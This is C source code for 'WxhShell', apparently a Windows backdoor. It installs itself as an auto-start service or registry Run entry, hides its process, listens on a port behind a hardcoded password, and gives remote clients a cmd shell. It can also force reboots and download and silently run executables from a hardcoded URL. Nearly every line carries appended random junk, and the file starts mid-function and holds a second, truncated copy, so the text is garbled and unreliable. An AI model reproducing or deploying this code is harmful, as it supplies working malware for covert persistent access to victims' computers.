    if(Boot(SHUTDOWN)) 'S`l[L:.8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uNyU]@R<W  
    else { AdDX_\V,*  
    closesocket(wsh); c!EA>:;(<  
    ExitThread(0); tOIqX0dWd  
    } on_h'?2  
    break; 3#7V1  
    } r2-iISxg+  
  // 获取shell ] K$YtM^  
  case 's': { 7^eyO&4z  
    CmdShell(wsh); JipNI8\r  
    closesocket(wsh); %3z[;&*3O  
    ExitThread(0); ^ja]e%w#  
    break; .9J^\%JD  
  } y ``\^F  
  // 退出 JRl=j2z  
  case 'x': { H$`U] =s|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \c_g9Iqa  
    CloseIt(wsh); qc8Ge\3s  
    break; x3+ -wv  
    } M':-f3aT%  
  // 离开 V:\:[KcL^  
  case 'q': { csP4Oq\g[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A8% e _XA  
    closesocket(wsh); lc,k-}n  
    WSACleanup(); m?e/MQr  
    exit(1);  u r$  
    break; x@NfN*?/+i  
        } .p[uIRd`  
  } Kb;*"@LX  
  } f_c\uN@f  
o,7|=.-b  
  // 提示信息 T?8BAxC?K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _XZ Gj:V  
} 0#V"   
  } be+-p  
,r B(WKU  
  return;  /YJo"\7  
} /~,*DH$)  
Ao K9=F}  
// shell模块句柄 .j4y0dh33  
int CmdShell(SOCKET sock) 72nZ`u  
{ )tlj{ 7p  
STARTUPINFO si; iv*RE9?^  
ZeroMemory(&si,sizeof(si)); pwo$qs(p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "6U0 !.ro@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d"|_NG`vr  
PROCESS_INFORMATION ProcessInfo; PQaTS*0SXJ  
char cmdline[]="cmd"; xlv(PVdn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gu$/rb?  
  return 0; cH_qHXi[G  
} +`d92Tz  
|f_'(-v`E  
// 自身启动模式 c.>f,vtcn  
int StartFromService(void) >Na.C(DZ  
{ K|%Am4  
typedef struct ^G!cv  
{ mV}bQ^*?Z  
  DWORD ExitStatus; xp|1yud  
  DWORD PebBaseAddress; utck{]P  
  DWORD AffinityMask; u`v&URM  
  DWORD BasePriority; ^q-%#  
  ULONG UniqueProcessId; u!X~!h-6~  
  ULONG InheritedFromUniqueProcessId; [RBSUOF  
}   PROCESS_BASIC_INFORMATION; "(=g7,I4  
o*K7(yUL4  
PROCNTQSIP NtQueryInformationProcess; 0>Y3xNb  
|k}<Zz1UM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8g -u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %n$f#Ml_r  
g4+K"Q /M  
  HANDLE             hProcess; An_(L*Qz  
  PROCESS_BASIC_INFORMATION pbi; `:&RB4Z  
3EYEd39E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z</C)ObL  
  if(NULL == hInst ) return 0; ?NA $<0  
P%R!\i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ?s,oH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @|A!?}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sh#N5kgD  
xd{.\!q.  
  if (!NtQueryInformationProcess) return 0; i$kB6B#==  
f r~Eb'8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b36{vcs~  
  if(!hProcess) return 0; 2)IM<rf'^  
#?)6^uTW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j \r GU){  
b_sasZo  
  CloseHandle(hProcess); SY Bp-o  
t,YRM$P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K~#?Y,}O  
if(hProcess==NULL) return 0; e6p3!)@P1  
sqhMnDn[  
HMODULE hMod; M"*NV(".g  
char procName[255]; d'(n/9K  
unsigned long cbNeeded; WWSycH ?[  
tQ@7cjq8bA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e (]]  
 3?D, Wu  
  CloseHandle(hProcess); < }K9 50  
]s Euh~F  
if(strstr(procName,"services")) return 1; // 以服务启动 ;BuMzG:tmZ  
&en2t=a  
  return 0; // 注册表启动 |kZ!-?9Z  
}  8s22VL  
'=nmdqP  
// 主模块 UXji$|ET6  
int StartWxhshell(LPSTR lpCmdLine) DOu^   
{ igL5nE=n  
  SOCKET wsl; 9Qszr=C0  
BOOL val=TRUE; |ufT)+:  
  int port=0; =w`Mc\o"  
  struct sockaddr_in door; 6W_:w  
g@ J F  
  if(wscfg.ws_autoins) Install(); <yl@!-'J7  
rhLhFN{h  
port=atoi(lpCmdLine); @(L}:]{@  
r.)n>  
if(port<=0) port=wscfg.ws_port; ]]y>d!  
v 8F{qT50  
  WSADATA data; 62nmm/c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }t#|+T2f  
!84Lvg0&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yl?LXc[)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q=! lbW  
  door.sin_family = AF_INET; I;}U/'RR>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^+-QY\N j  
  door.sin_port = htons(port); Mx w-f4j  
Qe F:s|[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ak3^en  
closesocket(wsl); y# \"yykB  
return 1; Lea4-Gc  
} UG44 oKB  
.WSn Y71  
  if(listen(wsl,2) == INVALID_SOCKET) { .oM- A\!  
closesocket(wsl); Tp@Yn  
return 1; Q1Qw45$  
} g@x72$j  
  Wxhshell(wsl); vE`;1UA}  
  WSACleanup(); cFie;k  
j)G%I y[`  
return 0; m\*ca3$  
bv <^zuV  
} H,<CR9@(5d  
Zz (qc5o,F  
// 以NT服务方式启动 _*=4xmB.=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ng<ic  
{ K?M~x&Q  
DWORD   status = 0; ThP~k9-  
  DWORD   specificError = 0xfffffff; 8Y%  
2FdwX ,O.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qxy ~ %;X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  DEu0Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !0^4D=dO  
  serviceStatus.dwWin32ExitCode     = 0; CD`6R.  
  serviceStatus.dwServiceSpecificExitCode = 0; c\[&IlM  
  serviceStatus.dwCheckPoint       = 0; auIW>0?}  
  serviceStatus.dwWaitHint       = 0; [ -Z 6QzT  
Z*P/ubV'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \1-lda  
  if (hServiceStatusHandle==0) return; iLQO .'{U  
dH0>lV  
status = GetLastError(); )/f#~$ws  
  if (status!=NO_ERROR) 8aQTm- {m  
{ &OFVqm^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?0u"No52m  
    serviceStatus.dwCheckPoint       = 0; 5O~xj:  
    serviceStatus.dwWaitHint       = 0; I;AS.y  
    serviceStatus.dwWin32ExitCode     = status; $Vp&7OC]  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~BTm6*'h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sAO/yG  
    return; )( YJ6l  
  } Z  OAg7  
fWJOP sp*/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & :W6O)uY  
  serviceStatus.dwCheckPoint       = 0;  W;yg{y   
  serviceStatus.dwWaitHint       = 0; =}%:4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lp d~U2&  
}  o4 "HE*  
wmK;0 )|H  
// 处理NT服务事件,比如:启动、停止 }x{1{Bw>Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L4+R8ojG  
{ J7wwM'\  
switch(fdwControl) r_ m|?U %  
{ rx]Q,;"  
case SERVICE_CONTROL_STOP: ku57<kb  
  serviceStatus.dwWin32ExitCode = 0; [GM!@6U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ZJ)>gV  
  serviceStatus.dwCheckPoint   = 0; )2Q0NbDn  
  serviceStatus.dwWaitHint     = 0; #WUN=u   
  { 8>|4iT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8DD1wK\U~  
  } #6y fIvap  
  return; _Q\rZ l  
case SERVICE_CONTROL_PAUSE: 9JMf T]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * XDe:A  
  break; i+Ne.h  
case SERVICE_CONTROL_CONTINUE: q}'<[Wg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @w%kOX  
  break; \Rt>U|%  
case SERVICE_CONTROL_INTERROGATE: f[`&3+  
  break; ~6u|@pnI  
}; ?TDmW8G}J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O d6'bO;G  
} taVK&ohWx  
(0_]=r=q  
// 标准应用程序主函数 jA@ uV,w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $rjm MSxi  
{ bQ?Vh@j(M  
g C8 deC8  
// 获取操作系统版本 PHez5}T  
OsIsNt=GetOsVer(); iN Lt4F[i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yWN'va1+$  
5^qs>k[mN  
  // 从命令行安装 S=L#8CID  
  if(strpbrk(lpCmdLine,"iI")) Install(); BB/c5?V  
o{2B^@+Vb  
  // 下载执行文件 x `%x f  
if(wscfg.ws_downexe) { ^}gZ+!kA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :1UOT'_  
  WinExec(wscfg.ws_filenam,SW_HIDE); K^/.v<w  
} $Zi {1w  
>Ir?)h  
if(!OsIsNt) { (t"|XSF  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vw.4;Zy(  
HideProc(); t=fAG,k5  
StartWxhshell(lpCmdLine); n68qxD-X  
} O#^qd0e'P!  
else 8SiWAOQAL  
  if(StartFromService()) 5M>SrZH  
  // 以服务方式启动 oY\;KPz  
  StartServiceCtrlDispatcher(DispatchTable); -G1R><8[  
else Uu`}| &@i  
  // 普通方式启动 ! }eq~3  
  StartWxhshell(lpCmdLine); rJp9ut'FEz  
o9{1_7K  
return 0; s }^W2  
} |c$*Fa"A  
# 5{lOeN  
je:J`4k$  
|<8g 2A{X  
=========================================== 2fm6G).m  
ZTGsZ}{5   
@71y:)W<  
> JTf0/  
dDYor-g>  
sWq}/!@&  
" p8CaD4bE  
3=Xvl 58k  
#include <stdio.h> xnZ  
#include <string.h> EL *l5!Iu  
#include <windows.h> MA 6uJT  
#include <winsock2.h> *z'Rl'j9[  
#include <winsvc.h> hz2f7g  
#include <urlmon.h> 4l{La}Aj  
fhHTp_u)2  
#pragma comment (lib, "Ws2_32.lib") :' !_PN  
#pragma comment (lib, "urlmon.lib") IxWX2yJ]  
o:%;AOcl  
#define MAX_USER   100 // 最大客户端连接数 Kna@K$6{w=  
#define BUF_SOCK   200 // sock buffer rG B*a8  
#define KEY_BUFF   255 // 输入 buffer .KYDYdoS'  
^'vWv C  
#define REBOOT     0   // 重启 ,y7X>M2  
#define SHUTDOWN   1   // 关机 (WGEX(|  
H[/^&1P  
#define DEF_PORT   5000 // 监听端口 2ZxZ2?.uJ  
DY87NS*HF  
#define REG_LEN     16   // 注册表键长度 B an" H~  
#define SVC_LEN     80   // NT服务名长度 NA$ODK -  
\7(OFT\u:  
// 从dll定义API tgrZs8?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !6+V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OH5#.${O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u])MI6LF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I\82_t8  
;4vx+>-  
// wxhshell配置信息 ?l 0WuU  
struct WSCFG { Nm0|U.<  
  int ws_port;         // 监听端口 cl'qw##  
  char ws_passstr[REG_LEN]; // 口令 0te[i*G  
  int ws_autoins;       // 安装标记, 1=yes 0=no $O9#4A;  
  char ws_regname[REG_LEN]; // 注册表键名 I]~UOl  
  char ws_svcname[REG_LEN]; // 服务名 i:^ 8zW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *pGbcBQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y(r(q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `b5pa`\4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ed"p|5~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;uU 8$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4=;`\-7!  
CakB`q(8  
}; <*4r6UFR  
gn${@y?  
// default Wxhshell configuration @%As>X<3t  
struct WSCFG wscfg={DEF_PORT, 'p,54<e  
    "xuhuanlingzhe", `9VRT`e  
    1, wIQt f|ZI>  
    "Wxhshell", M0MvOO*ad  
    "Wxhshell", DB+.<  
            "WxhShell Service", yu'@gg(  
    "Wrsky Windows CmdShell Service", W'C~{}c=  
    "Please Input Your Password: ", ?CuwA-j  
  1, OxVe}Fym  
  "http://www.wrsky.com/wxhshell.exe", >uz3 O?z P  
  "Wxhshell.exe" 9C1\?)"D^e  
    }; l9$"zEC  
[Kanj/  
// 消息定义模块 oSs~*mf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !o`h*G-x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `c_Wk] i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {X&H  
char *msg_ws_ext="\n\rExit."; ,-Yl%R.W=  
char *msg_ws_end="\n\rQuit."; O ;B[ZMV  
char *msg_ws_boot="\n\rReboot..."; :W1B"T<  
char *msg_ws_poff="\n\rShutdown..."; 4"%LgV`  
char *msg_ws_down="\n\rSave to "; M[ ,:NE4H  
09HqiROw  
char *msg_ws_err="\n\rErr!"; G+Zm  
char *msg_ws_ok="\n\rOK!"; k!wEPi]  
~@VyJT%  
char ExeFile[MAX_PATH]; 140_WV?7  
int nUser = 0; ygTc Y  
HANDLE handles[MAX_USER]; ]AB4w+6!  
int OsIsNt; @avG*Mr^  
p!~V@l  
SERVICE_STATUS       serviceStatus; X~g~U|B@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V0F&a~Q  
~fF;GtP  
// 函数声明 Sa$-Yf  
int Install(void); H_7EK  
int Uninstall(void); A]s|"Pav,  
int DownloadFile(char *sURL, SOCKET wsh); XRWy#Pj  
int Boot(int flag); m2PI^?|e  
void HideProc(void); `9p;LZC1K  
int GetOsVer(void); a.s5>:Ct  
int Wxhshell(SOCKET wsl); [-JU(:Rh  
void TalkWithClient(void *cs); zM|Y X<  
int CmdShell(SOCKET sock); C.9l${QU  
int StartFromService(void); ABnJ{$=n#  
int StartWxhshell(LPSTR lpCmdLine); %pImCpMR  
6n$g73u<=3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z {*<G x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?hnxc0 ~P  
V82N8-l  
// 数据结构和表定义 h2m@Q={  
SERVICE_TABLE_ENTRY DispatchTable[] = xIa8Ac  
{ Z(a,$__  
{wscfg.ws_svcname, NTServiceMain}, 3g5 n>8-  
{NULL, NULL} ]F*fQ Ncjy  
}; 6{TUs>~  
B)u*c]<qU  
// 自我安装 @ZGD'+zd?  
int Install(void) uBfSS\SX|  
{ UrEfFtH'  
  char svExeFile[MAX_PATH]; rl](0"Y0 t  
  HKEY key; 6Y&`mgMF'  
  strcpy(svExeFile,ExeFile); P jh3=Dr  
F>[T)t{m=  
// 如果是win9x系统,修改注册表设为自启动 y` 6!Vj l  
if(!OsIsNt) { 4jdP3Q/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yk&PJ;%O<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^;a~_9 m-  
  RegCloseKey(key); 2"!s8x1$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K)F6TvWv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?a i  
  RegCloseKey(key); 4b :q84  
  return 0; e4(E!;Z!QF  
    } ZA6)@Mn  
  } MPD<MaW$  
} xv>]e <":  
else { XMw*4j2E  
>K-S&Y  
// 如果是NT以上系统,安装为系统服务 QNm8`1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j )b[7%  
if (schSCManager!=0) gano>W0  
{ d\v1R-V  
  SC_HANDLE schService = CreateService :"I!$_E'  
  ( yJ?S7+b  
  schSCManager, q=`i  
  wscfg.ws_svcname, |kh7F0';"  
  wscfg.ws_svcdisp, 0 pPSg9  
  SERVICE_ALL_ACCESS, :2(U3~3:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8zzY;3^h;  
  SERVICE_AUTO_START, `(o:;<&3  
  SERVICE_ERROR_NORMAL, }GL@?kAGR5  
  svExeFile, zX}t1:nc  
  NULL, h3t);}Y}D9  
  NULL, 5v,_ Hgh  
  NULL, R-J^%4U`7  
  NULL,  6>&h9@  
  NULL #l#8-m8g)  
  ); K:(E"d;  
  if (schService!=0) $bsD'Io  
  { + Un(VTD  
  CloseServiceHandle(schService); QSSA)  
  CloseServiceHandle(schSCManager); T?HW=v_a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }YCpd)@  
  strcat(svExeFile,wscfg.ws_svcname); 0<#>LWaM_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GY wU3`{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jcL%_of  
  RegCloseKey(key); +Fa!<txn  
  return 0; ^c|_%/  
    } X_aC$_b  
  } Yh2[ nF_  
  CloseServiceHandle(schSCManager); jiqE^j3;  
} !N'HL-oT  
} |Q?^Ba  
XDohfa _  
return 1; }ej>uZVe<  
} ce:p*  
;{89*e*)  
// 自我卸载 F_F02:t  
int Uninstall(void) ! 8*l U2  
{ ]I'dnd3e  
  HKEY key; FS^~e-A  
cK.z&y0]  
if(!OsIsNt) { 85?;\ 5%-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i8->3uB  
  RegDeleteValue(key,wscfg.ws_regname); (NC]S  
  RegCloseKey(key); E.eUd4XG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _9:r4|S  
  RegDeleteValue(key,wscfg.ws_regname); 2mEvoWnJ  
  RegCloseKey(key); Gy)2  
  return 0; xtO#reL"q?  
  } }\0ei(%H  
} ~sT1J|  
} {2F@OfuCF  
else { J"~!jrzBh(  
YpI|=mv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6|n3e,&A2  
if (schSCManager!=0) o2~P vef  
{ Dl@Jj?zc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `br$kB  
  if (schService!=0) U*4r<y9R  
  { sm"s2Ci=}  
  if(DeleteService(schService)!=0) { Q|xa:`3?  
  CloseServiceHandle(schService); * }) W>  
  CloseServiceHandle(schSCManager); 7!Qu+R  
  return 0; Z0%:j\W4c  
  } 4i7+'F  
  CloseServiceHandle(schService); 49.B!DqQW&  
  } 5Mz:$5Tm  
  CloseServiceHandle(schSCManager); 1]69S(  
} Kf1NMin7  
} +\]Gu(z<  
[ylRq7^e  
return 1; 7YFEyX10d  
} \{ve6`7Rn  
#MFIsx)r  
// 从指定url下载文件 # /Bg5:  
int DownloadFile(char *sURL, SOCKET wsh) Bmt^*;WY+  
{ iD*L<9  
  HRESULT hr; -}_1f[b  
char seps[]= "/"; d}Q% I  
char *token; pO92cGJ8  
char *file; LU/;` In  
char myURL[MAX_PATH]; EpH_v`  
char myFILE[MAX_PATH]; jn(%v]  
F1meftK  
strcpy(myURL,sURL); N "}N>xe2  
  token=strtok(myURL,seps); Ej8g/{  
  while(token!=NULL) _\na9T~g  
  { !<24Cy  
    file=token; $*|M+ofQ  
  token=strtok(NULL,seps); cj9C6Y!  
  } m!5Edo-;<  
u}b%-:-  
GetCurrentDirectory(MAX_PATH,myFILE); >x>/}`  
strcat(myFILE, "\\"); 9dm oB_G  
strcat(myFILE, file); 1YK(oRSDn  
  send(wsh,myFILE,strlen(myFILE),0); [5!dO\-[  
send(wsh,"...",3,0); J$5Vjh'aM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =f!clhO  
  if(hr==S_OK) YjH~8==  
return 0; >, [@SF%  
else ,l Y4WO  
return 1; Xv3pKf-K  
 TJ1h[  
} Wy%FF\D.Y  
6$[7hlE  
// 系统电源模块 T*nP-b  
int Boot(int flag) zz /4 ()u  
{ 3)yL#hXg)  
  HANDLE hToken; xHMFYt+0$G  
  TOKEN_PRIVILEGES tkp; | kP utB  
SL-;h#-y 4  
  if(OsIsNt) { PD&gC88  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hHHQmK<r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); axpZ`BUc  
    tkp.PrivilegeCount = 1; )+R n[MMp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @S=9@3m{w;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qV6WT&)T  
if(flag==REBOOT) { hJsP;y:@Lm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w@<II-9L)<  
  return 0; $1g1Bn  
} C!|LGzs0  
else { z;!"i~fFK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rtfRA<  
  return 0; 2,wwI<=E'  
} N<1+aL\  
  } <Se9 aD  
  else { \5 rJ  
if(flag==REBOOT) { M~N/er  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +:"0 %(  
  return 0; J>5rkR@/  
} GbclR:G  
else { S'5Zy} +x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %IZd-N7i^  
  return 0; uKXNzz  
} 8xg^="OJ  
} 1)MDnODJ  
&a;?o~%*]i  
return 1; /-,\$@J5)  
} 4M|u T 9-  
QW$p{ zo  
// win9x进程隐藏模块 }z x ~  
void HideProc(void) VX&PkGi?o  
{ _bi)d201  
SI=u-'%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ddyX+.LMk  
  if ( hKernel != NULL ) PO?_i>mA  
  { r5Tdp)S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A4cOnG,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HA*L*:0  
    FreeLibrary(hKernel); ,T`,OZm  
  } 6tndC o;`  
,|B-Nq  
return; H#DvCw  
} 8'HS$J;C  
{eV8h}KIl  
// 获取操作系统版本 q;")  
int GetOsVer(void) uINdeq7|F  
{ C!a1.&HHZ7  
  OSVERSIONINFO winfo; 9&5<ZC-D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kQ}n~Hn  
  GetVersionEx(&winfo); @(~:JP?KNC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dWPQp*f2  
  return 1; `r-jWK\  
  else 4G?^#+|^  
  return 0; KGHSEZi]  
} P=5+I+  
ANy*'/f  
// 客户端句柄模块 GD{L$#i!  
int Wxhshell(SOCKET wsl) c&!mKMrk  
{ acR|X@ \3  
  SOCKET wsh; #F.jf2h@  
  struct sockaddr_in client; hU8Y&R)=9  
  DWORD myID; `X}:(O^GO  
0n}13u=}  
  while(nUser<MAX_USER) M[gL7-%w\  
{ yGf7k>K'  
  int nSize=sizeof(client); ]m b8R:a1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7l=;I%  
  if(wsh==INVALID_SOCKET) return 1; [/UchU]DT  
*q*3SP/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Sgf jm  
if(handles[nUser]==0) +t+<?M B  
  closesocket(wsh); w8UuwFG?<  
else r8Mx +r  
  nUser++; fq]PKLW'  
  } |zYOCDFf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^,acU\}VqP  
UtQey ;w  
  return 0; >F7w]XH  
} >s f g`4  
>H!Mx_fDL  
// 关闭 socket )rD!4"8/A  
void CloseIt(SOCKET wsh) x8PT+KC  
{ r8J7zTD&  
closesocket(wsh); #Ub_m@@ 4  
nUser--; Z[oEW>_A  
ExitThread(0); 7{L4a\JzT  
} T)rE#"_]{  
L^3&  
// 客户端请求句柄 /i'078F  
void TalkWithClient(void *cs) ,erf{"Nh  
{ s9;6&{@%wO  
$(aq;DR  
  SOCKET wsh=(SOCKET)cs; _1p8(n  
  char pwd[SVC_LEN]; DK)W ,z|  
  char cmd[KEY_BUFF]; K^shTh8k  
char chr[1]; " B#|C'   
int i,j; Yf w>x[#e  
?m |}}a  
  while (nUser < MAX_USER) { GQqGrUQ*}  
6lSz/V;  
if(wscfg.ws_passstr) { G^~[|a 4`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sUZA!sv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EiL#Dwx  
  //ZeroMemory(pwd,KEY_BUFF); xc:E>-  
      i=0; PgWWa*Ew  
  while(i<SVC_LEN) { &X$T "Dp  
=_7wd*,  
  // 设置超时 $*fJKR_N  
  fd_set FdRead; Ae+)RBpc  
  struct timeval TimeOut; /o9T [ ^\  
  FD_ZERO(&FdRead); ,^UqE {  
  FD_SET(wsh,&FdRead); ;*<tU n^t  
  TimeOut.tv_sec=8; u0q$`9J  
  TimeOut.tv_usec=0; 1iy$n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F4EAC|Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tlsh[@Q  
l_vGp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z8Q!~NN-K  
  pwd=chr[0]; *qd:f!Q3  
  if(chr[0]==0xd || chr[0]==0xa) { <'a~Y3B"o  
  pwd=0;  Y'iX   
  break; ~t`^|cr|  
  } XA>W >|  
  i++; <v_=k],W  
    } UN]gn>~j  
SS=<\q#MS  
  // 如果是非法用户,关闭 socket >cu%Cs=m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t'eqk#rq  
} ,ks2&e  
,=:K&5mCv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  +$dJA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z%;p lMj  
~VGnE:  
while(1) { kQ`tY`3F  
yn4T!r "  
  ZeroMemory(cmd,KEY_BUFF); xM*_1+<dT$  
B$4*U"tk  
      // 自动支持客户端 telnet标准   >XD?zF)6  
  j=0; {3~VLdy  
  while(j<KEY_BUFF) { 5)k8(kH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uN|A}/hr]  
  cmd[j]=chr[0]; pP. _%5  
  if(chr[0]==0xa || chr[0]==0xd) { d7OygDb<  
  cmd[j]=0; MMM tB6  
  break; 3Vb4zZsl  
  } > H!sD\b  
  j++; 6>>; fy2  
    } Kc/1LeAik  
-aoYoJ '  
  // 下载文件 4T@:_G2b  
  if(strstr(cmd,"http://")) { WRh5v8Wz0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w?Te%/s.  
  if(DownloadFile(cmd,wsh)) V]=22Cxi'~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW %AZkAx  
  else #2{-6ey  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  +\/Q  
  } IGdiIhH~2  
  else { *c0H_8e  
@T'^V0!-q:  
